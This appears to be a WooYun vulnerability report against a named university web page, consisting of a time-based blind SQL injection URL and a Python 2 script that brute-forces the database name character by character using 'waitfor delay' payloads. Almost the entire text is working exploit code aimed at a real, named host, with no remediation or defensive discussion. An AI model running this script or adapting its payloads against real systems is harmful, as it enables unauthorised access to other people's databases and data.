WooYun.org

http://meetc.ecust.edu.cn/pictrue.aspx?flag=11;if(len(db_name())=12) waitfor delay '0:0:3' -- &info_lb=271

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive DB:'
db = ''
for i in range(1,13):
    for payload in payloads:
        
        #time.sleep(1)  #间隔一秒
        try:
           
            conn = httplib.HTTPConnection('meetc.ecust.edu.cn', timeout=5)
            s = "if(ascii(substring(db_name(),%s,1))=%s) waitfor delay '0:0:5' --" % (i, ord(payload))
            params = "flag=11;" + urllib.quote(s)+"&info_lb=271"
            
            conn.request(method='GET', url= '/pictrue.aspx?' + params,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '.',
        except Exception, e:
            db += payload
            print '\n[In progress]', db
            break
        
print '\n[Done] DB is:', db